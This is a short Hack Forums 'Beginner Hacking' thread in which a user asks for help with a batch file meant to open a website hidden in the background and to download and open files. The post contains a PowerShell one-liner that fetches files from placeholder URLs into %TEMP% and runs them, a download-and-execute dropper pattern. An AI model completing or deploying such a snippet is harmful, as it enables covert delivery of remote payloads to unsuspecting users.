Hack Forums
Bat file that opens a website in the background - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Bat file that opens a website in the background (/showthread.php?tid=6077837)



Bat file that opens a website in the background - brekekeke - May 13, 2020

Hi, I need a batch file that opens a hidden window with a website and also downloads and opens a PDF. I have this:

Code
@echo off
set files='url1','url2'
powershell "(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"

But it doesn't do anything. It worked once and now it only opens the cmd, closes itself and nothing happens. I tried this on a different computer and the same thing happened - nothing. What might be the problem? Thank you